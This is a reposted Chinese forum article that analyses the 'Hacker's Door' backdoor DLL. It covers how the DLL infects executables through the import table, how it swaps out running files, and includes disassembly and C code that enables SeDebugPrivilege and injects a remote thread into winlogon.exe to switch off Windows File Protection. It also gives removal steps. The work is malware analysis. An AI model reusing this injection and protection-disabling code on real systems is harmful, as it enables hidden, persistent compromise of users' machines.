[转载]黑客之门的魅力：感染与加载
原始连接：[url]http://3qit.product.zol.com.cn/article/17/167320.shtml[/url]信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）
最近对后门产生了很浓厚的兴趣，上网与各位高手讨论的时候，有人提到了“黑客之门”很厉害，也算是推出来的比较成功的一个后门，于是上网下载了一个研究研究，顺便也学习学习其中的方法与技巧。不敢独享，分享于此，同时希望高手们指教。
“黑客之门”介绍
黑客之门采用的目前一些先进的后门技术，它只有一个Dll文件，通过感染系统文件启动自身，被感染的系统文件大小和日期都不会改变；同时采用线程插入技术，本身没有进程；本身不开端口，而是重用系统进程开的任意一个端口，如80，135，139，445等，因此它的隐藏性非常好，而且穿透防火墙也是很容易的事。这个版本文件不大，只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门，象Fport，Llister，RKDetector等查工具都失效。
程序的自启动
既然是一个后门，那么就要随系统的启动而启动，根据黑客之门的介绍，它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件（像病毒），那就看看感染前和感染后的系统文件的区别吧！为了测试感染前后的差别，我准备了一个专门用来被感染的文件TestLoad.exe，它没有什么功能，只是弹出一个对话框，这样好等待测试，麻雀虽小，五脏俱全，省得动系统文件了。接着运行命令：
C:>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
使黑客之门感染TestLoad.exe，感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。
被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示：
[attach]8456[/attach]
感染之后的TestLoad.exe的结构如图2所示：
[attach]8457[/attach]
可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址（Import Table Address ITA）已经被改变，原来的ITA为0x000043FC，感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化，这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数，比较结果如图3所示：
[attach]8458[/attach]
提示：使用LordPE.exe查看exe文件的引入表函数方法是：点击PE Edito打开相应的文件，接着点击Directories，弹出对话框后点击Import Table右边的三个点，这样就可以查看一个可执行文件的引入表了。
可以看出，只是在引入表链表中添加了一个相应的Hkdoordll.dll，这样当被感染的程序再次运行时，由系统的程序装载器搜索Hkdoordll.dll，并将其引用到被感染程序的地址空间，后门就运行起来了。黑客之门的这种子启动方式值得学习，比较灵巧。
搞明白了黑客之门的启动方式后，我们就可以手动清除它了，这里切不可将Hkdoordll.dll直接删除，这样可能直接导致系统崩溃。因为系统在加载被感染的程序（假如为Services.exe）时发现没有找到Hkdoordll.dll，Services.exe将不能被装载，如果被感染的是系统关键进程的话，那么系统将不能正确的启动。清除的时候我们可以去别的机器上（相同系统与补丁）找一个Services.exe，将被感染的程序命名为Services2.exe，将Services.exe拷贝到System32文件夹下，重启电脑，删除Hkdoordll.dll就清除黑客之门了。
运行时感染
上面说的是黑客之门的自启动方式，下面看看黑客之门是怎么感染正在运行的系统文件的，这一点让我晕了很久，最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下，正在运行的程序文件一般是不能修改或者删除的，正是由于这一点，才出现了各种程序运行时的自删除大法，程序自删除不是我们这次的重点。但是，细心的用户可能已经发现，在Windows 2000或Wndows XP系统下，我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试，运行：
C:>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak，咋一看还以为“黑客之门”做好事，自动帮你备份一下系统文件，其实这可是黑客之门的狐狸尾巴啊！是它不得已而为之的。不要关闭TestLoad.exe，然后试着删除TestLoad.exe和TestLoad.exe.bak，是不是发现奇迹了？竟然把TestLoad.exe删掉了，而TestLoad.exe.bak竟然不让删，是不是和我刚才说的话矛盾？非也！非也！刚好证明了刚才的话：黑客之门先把TestLoad.exe改名为TestLoad.exe.bak，然后生成一个被感染的TestLoad.exe，这样，下次运行TestLoad.exe实际上是被替换过的程序，原来的程序则放在一边。
用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用：
文件重命名：
.data:1000C618 lea ecx， [esp+438h+FileName]
.data:1000C61F lea edx， [esp+438h+var_324]
.data:1000C626 push ecx
.data:1000C627 push edx
.data:1000C628 call rename
拷贝文件：
.data:1000C66F lea edx， [esp+440h+var_32C]
.data:1000C676 push 0 ; bFailIfExists
.data:1000C678 lea eax， [esp+444h+var_228]
.data:1000C67F push edx ; lpNewFileName
.data:1000C680 push eax ; lpExistingFileName
.data:1000C681 call CopyFileA
移动文件：
.data:1000C795 mov eax， [ebp+8]
.data:1000C798 test eax， eax
.data:1000C79A jnz short loc_1000C7FE
.data:1000C79C lea ecx， [esp+448h+var_334]
.data:1000C7A3 push 5 ; dwFlags
.data:1000C7A5 lea edx， [esp+44Ch+var_230]
.data:1000C7AC push ecx ; lpNewFileName
.data:1000C7AD push edx ; lpExistingFileName
.data:1000C7AE call MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”，”TestLoad.exe.bak”， MOVEFILE_DELAY_UNTIL_REBOOT&line; MOVEFILE_REPLACE_EXISTING);
小知识：MSDN中对MoveFileEx()函数的解释为：
BOOL MoveFileEx(
LPCTSTR lpExistingFileName， // pointer to the name of the existing file
LPCTSTR lpNewFileName， // pointer to the new name for the file
DWORD dwFlags // flag that specifies how to move file
);
这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak，接着Hkdoordll.dll生成被感染的TestLoad.exe，并且保存在原来的文件路径上即可。
灭掉系统文件保护
一旦系统启动了，Windows系统就开始加载已经被感染的系统程序，但是由于“黑客之门”是通过感染系统程序实现自启动的，这下子又遇到了另外一个问题。
大家都知道，在Windows 2000和Windows XP中有系统文件保护功能，一旦被保护的系统文件被修改了，就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题， TestLoad.exe只是一个普通的EXE文件，而不是受系统文件保护系统保护的系统进程，那为什么黑客之门修改系统进程时，操作系统的文件的文件保护系统不会提醒呢？
这一点，还是采用反汇编黑客之门的方法，观察它是怎样关闭系统文件保护功能的。
发现如下的代码：
.data:1000BBB0 LoadSFCDLL proc near ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0 push esi
.data:1000BBB1 xor esi， esi
.data:1000BBB3 call GetVersion ; Get current version number of Windows
.data:1000BBB3 ; and information about the operating system platform
.data:1000BBB9 cmp al， 5
.data:1000BBBB jnz short loc_1000BBDF
.data:1000BBBD xor ecx， ecx ;此时为Windows2000系统
.data:1000BBBF mov cl， ah
.data:1000BBC1 test cl， cl
.data:1000BBC3 jnz short loc_1000BBD2
.data:1000BBC5 push offset aSfc_dll ; lpLibFileName
.data:1000BBCA call LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0 pop esi
.data:1000BBD1 retn
.data:1000BBD2 loc_1000BBD2: ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2 push offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7 call LoadLibraryA
.data:1000BBDD pop esi
.data:1000BBDE retn
上面的代码可以看出，Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll，如果是Windows 2000（Windows NT 5.0）的话，装载Sfc.dll；如果是Windows XP（Windows NT 5.1）的话，装载Sfc_os.dll。再看下面的一段反汇编代码：
sub esp， 228h
.data:1000BC76 lea eax， [esp+228h+hObject]
.data:1000BC7A push ebx
.data:1000BC7B push esi
.data:1000BC7C push edi
.data:1000BC7D push offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82 push 0
.data:1000BC84 push offset aDS ; "%d/%s"
.data:1000BC89 push 1Fh
.data:1000BC8B mov edi， ecx
.data:1000BC8D push eax
.data:1000BC8E call sub_10008C60
.data:1000BC93 add esp， 14h
.data:1000BC96 lea ecx， [esp+234h+hObject]
.data:1000BC9A push ecx ; lpMultiByteStr
.data:1000BC9B call sub_100016CC //这个子函数就是用来得到进程ID
.data:1000BCA0 cmp eax， 0FFFFFFFDhSFC
.data:1000BCA3 jb short loc_1000BCDB
.data:1000BCA5 push offset aCanTGetWinlogo ; "Can't get winlogon process id!
"
上面的函数用来得到Winlogon.exe进程的ID，以便下面打开它注入代码：
.data:1000BCDB push eax ; dwProcessId
.data:1000BCDC push 0 ; bInheritHandle
.data:1000BCDE push 1F0FFFh ; dwDesiredAccess
.data:1000BCE3 call OpenProcess ;打开目标进程
.data:1000BCE9 mov ebx， eax
.data:1000BCEB test ebx， ebx
.data:1000BCED jnz short loc_1000BD25
上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码，发现下面的一段：
.data:1000BD25 mov ecx， edi
.data:1000BD27 call LoadSFCDLL
.data:1000BD2C mov esi， eax
.data:1000BD2E test esi， esi
.data:1000BD30 jnz short loc_1000BD6F
.data:1000BD6F push 2 ;函数序号为2
.data:1000BD71 push esi ;SFC.dll的 hModule
.data:1000BD72 call GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78 test eax， eax
.data:1000BD7A mov [edi+10h]， eax
.data:1000BD7D jnz short loc_1000BDC3
可以发现上面的汇编代码用来得到以前装载的Sfc.dll（或Sfc_os.dll）中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3，继续跟踪反汇编代码，发现以下一段：
.data:1000BDC3 push eax ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4 push ebx ; Winlogon.exe进程的句柄
.data:1000BDC5 mov ecx， edi
.data:1000BDC7 call sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC push esi ; hLibModule
.data:1000BDCD mov edi， eax
.data:1000BDCF call FreeLibrary
.data:1000BDD5 test edi， edi
.data:1000BDD7 push ebx ; hObject
跟进Sub_1000BBF0函数，Sub_1000BBF0函数：
入口参数：进程句柄、线程开始地址
.data:1000BBF0 sub_1000BBF0 proc near ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId = dword ptr -1
.data:1000BBF0 hProcess = dword ptr 7
.data:1000BBF0 lpStartAddress = dword ptr 0Bh
.data:1000BBF0
.data:1000BBF0 push ecx
.data:1000BBF1 mov ecx， [esp+1+lpStartAddress]
.data:1000BBF5 mov edx， [esp+1+hProcess]
.data:1000BBF9 lea eax， [esp+1+ThreadId]
.data:1000BBFD push esi
.data:1000BBFE push eax ; lpThreadId
.data:1000BBFF push 0 ; dwCreationFlags
.data:1000BC01 push 0 ; lpParameter
.data:1000BC03 push ecx ; SFC.dll中第二个函数的函数地址
.data:1000BC04 push 0 ; dwStackSize
.data:1000BC06 push 0 ; lpThreadAttributes
.data:1000BC08 push edx ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09 mov [esp+21h+ThreadId]， 0
.data:1000BC11 call CreateRemoteThread ;创建远线程
.data:1000BC17 mov esi， eax
.data:1000BC19 test esi， esi ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B jnz short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F: ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F push 0FA0h ; dwMilliseconds
.data:1000BC44 push esi ; 新创建的线程的句柄
.data:1000BC45 call WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B test eax， eax
.data:1000BC4D jz short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D: ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D push esi ; hObject
.data:1000BC5E call CloseHandle
.data:1000BC64 mov eax， [esp+5+ThreadId]
.data:1000BC68 pop esi
.data:1000BC69 pop ecx
.data:1000BC6A retn 8
.data:1000BC6A sub_1000BBF0 endp
上面的子函数功能很简单，就是在刚刚打开的Winlogon.exe进程中创建新的线程，新线程调用SFC.dll中的序号为2的输出函数，这样便关掉了系统文件的自我保护。
事实上，根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释，在Windows 2000(XP)系统下，执行系统文件保护的代码在Sfc.dll（XP在Sfc_os.dll）中，这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件，Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件，这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数，就能取消文件保护功能了，“黑客之门”采用的也正是这样的方法。
这里需要注意的是，要把进程注入到Winlogon.exe中，需要提升自身的权限到Debug权限。
HANDLE hToken;
LUID DebugNameValue;
TOKEN_PRIVILEGES Privileges;
DWORD dwRet;
OpenProcessToken(GetCurrentProcess()，
TOKEN_ADJUST_PRIVILEGES &line; TOKEN_QUERY，hToken);
LookupPrivilegeValue(NULL，"SeDebugPrivilege"，&DebugNameValue);
Privileges.PrivilegeCount=1;
Privileges.Privileges[0].Luid=DebugNameValue;
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken，FALSE，&Privileges，sizeof(Privileges)，
NULL，&dwRet);
CloseHandle(hToken);
上面整个关闭系统文件保护功能的实现用C语言写下来如下所示：
/*得到进程的ID，具体的方法可以使用CreateToolHelpSnap32()，ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(，FALSE，dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000
hSfc = LoadLibrary("sfc.dll");
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
hSfc = LoadLibrary("sfc_os.dll");
}
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc， MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess，0，0， /
(DWORD (__stdcall *) (void *)) dwAddress，0，0，&dwThreadId);
WaitForSingleObject(hThread，0x0FA0);
结束语
大概分析完了，刚开始拿到黑客之门的时候，还在想，它到底是怎样感染正在运行的系统文件的呢？原来以为是修改进程的句柄指向的进程的操作掩码完成的，为此我还翻阅了好多文档。结果通过对程序的反汇编学习，渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者，没有给它加壳，能让我们有幸能一睹优秀黑客工具的容颜！
不到之处，欢迎指教，Mail：[email]fengcaho@163.com[/email]。 黑客之门不是老了吗？这是个动画还是什么啊？不管了，先下了看看 [s:45]
页:
[1]